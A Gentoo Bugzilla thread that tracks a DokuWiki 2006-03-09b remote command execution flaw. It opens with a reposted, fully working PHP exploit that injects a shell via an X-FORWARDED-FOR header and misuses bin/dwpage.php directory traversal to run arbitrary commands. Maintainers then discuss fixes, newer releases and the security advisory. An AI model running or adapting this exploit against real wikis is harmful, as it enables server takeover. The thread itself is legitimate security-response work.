Bugzilla Bug 146800

From bugtraq:


#!/usr/bin/php -q -d short_open_tag=on
<?
print_r('
--------------------------------------------------------------------------------
DokuWiki <= 2006-03-09b release /bin/dwpage.php remote commands execution
xploit
by rgod rgod@autistici.org
site: http://retrogod.altervista.org
dork: "Driven by DokuWiki"
--------------------------------------------------------------------------------
');
/*
works with register_argc_argv = On
*/
if ($argc<4) {
print_r('
--------------------------------------------------------------------------------
Usage: php '.$argv[0].' host path cmd OPTIONS
host:      target server (ip/hostname)
path:      path to dokuwiki
cmd:       a shell command
Options:
 -p[port]:    specify a port other than 80
 -P[ip:port]: specify a proxy
Example:
php '.$argv[0].' localhost /wiki/ ls -la -P1.1.1.1:80
php '.$argv[0].' localhost /wiki/ ls -la -p81
--------------------------------------------------------------------------------
');
die;
}
/* software site: http://wiki.splitbrain.org/wiki:dokuwiki

   there are some shell scripts in /bin folder and there is no .htaccess to
   protect it: most dangerous one is dwpage.php, if register_argc_argv = On
   it allows to copy/move files among folders because of $TARGET_FN var
   directory traversal, also you can inject a shell by main doku.php script
   sending a malicious X-FORWARDED-FOR http header (but you could do the same
   uploading some file in /data/media folder through /lib/exe/media.php...,
   I choosed the first solution)

   also, I noticed, you can disclose php configuration by
   setting an http header like this calling the main doku.php
   script:

   X-DOKUWIKI-DO: debug

   (debug feature is enabled by default...)
*/

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

function quick_dump($string)
{
  $result='';$exa='';$cont=0;
  for ($i=0; $i<=strlen($string)-1; $i++)
  {
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
   {$result.="  .";}
   else
   {$result.="  ".$string[$i];}
   if (strlen(dechex(ord($string[$i])))==2)
   {$exa.=" ".dechex(ord($string[$i]));}
   else
   {$exa.=" 0".dechex(ord($string[$i]));}
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
  }
 return $exa."\r\n".$result;
}
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
function sendpacketii($packet)
{
  global $proxy, $host, $port, $html, $proxy_regex;
  if ($proxy=='') {
    $ock=fsockopen(gethostbyname($host),$port);
    if (!$ock) {
      echo 'No response from '.$host.':'.$port; die;
    }
  }
  else {
   $c = preg_match($proxy_regex,$proxy);
    if (!$c) {
      echo 'Not a valid proxy...';die;
    }
    $parts=explode(':',$proxy);
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
    $ock=fsockopen($parts[0],$parts[1]);
    if (!$ock) {
      echo 'No response from proxy...';die;
   }
  }
  fputs($ock,$packet);
  if ($proxy=='') {
    $html='';
    while (!feof($ock)) {
      $html.=fgets($ock);
    }
  }
  else {
    $html='';
    while ((!feof($ock)) or
(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
      $html.=fread($ock,1);
    }
  }
  fclose($ock);
  #debug
  #echo "\r\n".$html;
}

$host=$argv[1];
$path=$argv[2];
$cmd="";
$port=80;
$proxy="";
for ($i=3; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];}
if ($temp=="-p")
{
  $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
  $proxy=str_replace("-P","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the
path!'; die;}
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

//create /data/pages/suntzu.txt.lock and inject the shell code
$data="do=edit&rev=&id=suntzu";
$packet="POST ".$p."doku.php HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="X-FORWARDED-FOR: <?php set_time_limit(0);echo
'my_delim';passthru(\$_SERVER['HTTP_CLIENT_IP']);die;?>\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;
sendpacketii($packet);
sleep(1);

//copy /data/pages/suntzu.txt.lock to /data/pages/wiki/suntzu.txt
$packet="GET
".$p."bin/dwpage.php?-m+\"suntzu\"+commit+../data/pages/suntzu.txt.lock+wiki:suntzu
HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
sleep(1);

//copy /data/pages/wiki/suntzu.txt to config.php inside main folder
$packet="GET
".$p."bin/dwpage.php?-m+\"suntzu\"+checkout+wiki:suntzu+../config.php
HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
sleep(1);

//launch commands...
$packet="GET ".$p."config.php HTTP/1.0\r\n";
$packet.="CLIENT-IP: $cmd\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Connection: Close\r\n\r\n";
sendpacketii($packet);
if (strstr($html,"my_delim")){echo "exploit
succeeded...\r\n";$temp=explode("my_delim",$html);die($temp[1]);}
else { echo "exploit failed...\r\n";}
?>

original url: http://retrogod.altervista.org/dokuwiki_2006-03-09b_cmd.html

web-apps, please advise, are there newer releases or any hints from upstream?

still no news afaict

seems to be serious; upstream is working on it:

http://www.freelists.org/archives/dokuwiki/09-2006/msg00064.html

Upstream hast released dokuwiki-2006-03-09c; please bump and mark stable, thank
you!

You may postpone stabling until we have called arches <cough> ... never listen
too n00b devs, but have mercy on them ... o_O.

pinging web-apps ^^

CC'ing ramereth, since he does not seem to be on the web-apps alias

(In reply to comment #7)
> CC'ing ramereth, since he does not seem to be on the web-apps alias
> 

Wow, took you guys long enough to add me to the bug. I'll look into getting a
new ebuild in today and checking on this. Thanks.

20060309c is now in cvs. Please test with all the affected arches. I also added
myself to the announce list for dokuwiki, so hopefully I know about this
sooner.

Arches, please test and mark stable, thanks!

Lance, did you add yourself to web-apps, BTW?

Hmpf. No JavaScript, no working Add Archs button. Sorry for the bugspam.
Arches, please test & stable.

x86 safe

Wasn't stable for ppc before ...

Ready for GLSA...

I just noticed an odd 'bug' with the 20060309c release of the package. When you
ask it what version it is, it claims its still 20060309b, but its really
20060309c. I just sent an email to upstream because I see that the version file
they have in the tarball says that. Just something to maybe note in the GLSA,
I'm not sure. Of course portage reports it as 20060309c, its just a matter of
what dokuwiki will say it is.

heads up guys ... at work i had a look at this, and it seems that the fix
consisted of a .htpasswd file only - $HTTP_SERVER could ignore this, leaving a
system vulnerable - pls check

(In reply to comment #16)
> heads up guys ... at work i had a look at this, and it seems that the fix
> consisted of a .htpasswd file only - $HTTP_SERVER could ignore this, leaving a
> system vulnerable - pls check
> 

It looks like the fix [1] should be me moving it entirely out of the htdocs dir
and place it outside of the realm of the webserver. The php file that has the
flaw was never intended to be viewed to the world [2]. I'll see if I can come
up with an ebuild that adjusts it to follow that.

Can you try this solution and see if it fixes the issues that are outlined?

Please hold on releasing the GLSA until we get this sorted out.

[1] http://wiki.splitbrain.org/wiki:security#the_._bin_directory
[2] http://article.gmane.org/gmane.comp.web.wiki.dokuwiki.general/5491

the quick 'fix' was indeed to add the .htaccess to the tarball

there is also a short discussion on the dokuwiki mailinglist about a different
directory layout and stuff, the debian maintainer for dokuwiki commented there
too (they already move some stuff out of the webdir cause of their policies)

I wonder how many people would benefit from that "fix" ... none of my
installations has Overrides on :/

Lance, seems like moving the stuff away seems a _much_ better idea ...

Hi,

Just to chip in here ... any fix that relies on .htaccess files isn't fit for
purpose.  It's Apache-specific at best (we support more than just Apache), and
it relies on Apache being configured to pick up the .htaccess file - which you
can't guarantee.

Best regards,
Stu

just as info...

Last two comments on the dokuwiki bug:

http://bugs.splitbrain.org/?do=details&id=906


Comment by Andreas Gohr (andi) - Friday, 08 September 2006, 08:22PM

If you don't know what the files in the bin folder are good for, you probably
never used the files in it and can safely delete the whole folder. The bin
folder contains scripts to be run on a commandline to automate certain tasks in
DokuWiki.

Comment by Christopher Smith (ChrisS) - Monday, 11 September 2006, 02:35PM

Development version patched to add a sapi check at the start of each of the
scripts in the lib/bin directory and have the script abort if the script isn't
being run using the 'cli' sapi - ie, the scripts will abort immediately if run
by the webserver.

amd64 doesn't have any stable versions, so I don't see what we're supposed to
be doing on this bug. If you need us for something, please re-add us.

(In reply to comment #20)
> Hi,
> 
> Just to chip in here ... any fix that relies on .htaccess files isn't fit for
> purpose.  It's Apache-specific at best (we support more than just Apache), and
> it relies on Apache being configured to pick up the .htaccess file - which you
> can't guarantee.

Yup, I totally agree. I'm going to be busy most of today, but I'll try my best
to get a fix for this soon. Just to recap:

 * I need to move the bin dir to a non-docroot (possibly /usr/share/docs?)
location

I don't need to change anything else, correct? I'm having a little hard time
following all the vulunerabilites that's cropped up for doku in the last week
or so.

Thanks-

That's what I was sugesting befor mid-air collision ^^. Could you go ahead so
we can shove this one out, it kinda hurts :/

Thank you!

I just got an email on the list concerning my questions:

===

Damned. Yes I forgot to update the VERSION file. Anyway I just uploaded
a new tarball named 2006-03-09d where I upped the VERSION string and
added the recently added sapi name checks to the commandline scripts.

Note: I just updated the DNS for www.splitbrain.org, if you don't see
the new tarball just try again in a few hours.

Andi

====

While the sapi name check helps, I'm still going to plan to move that directory
out of the docroot. I have a meeting in 30 minutes, and hope to crack at this
after the meeting. 

Changing back to [ebuild] for now, since Lance is still working on it.

Also rerating to B1 (direct exploit).

I just committed 20060309d into cvs. This ebuild moves the scripts in the bin
directory to the packages doc dir under the directory named scripts/ and are
gziped. Please test and mark stable. I will remove the older ebuilds once
things get marked stable and the GLSA is out. Thanks!

cc'ing x86 again for stabling 20060309d.

GLSA is drafted, SecTeam pls. review, this one should go out _fast_ now,
thanks!

x86 done

thx

Thx everyone.

GLSA 200609-10

[x]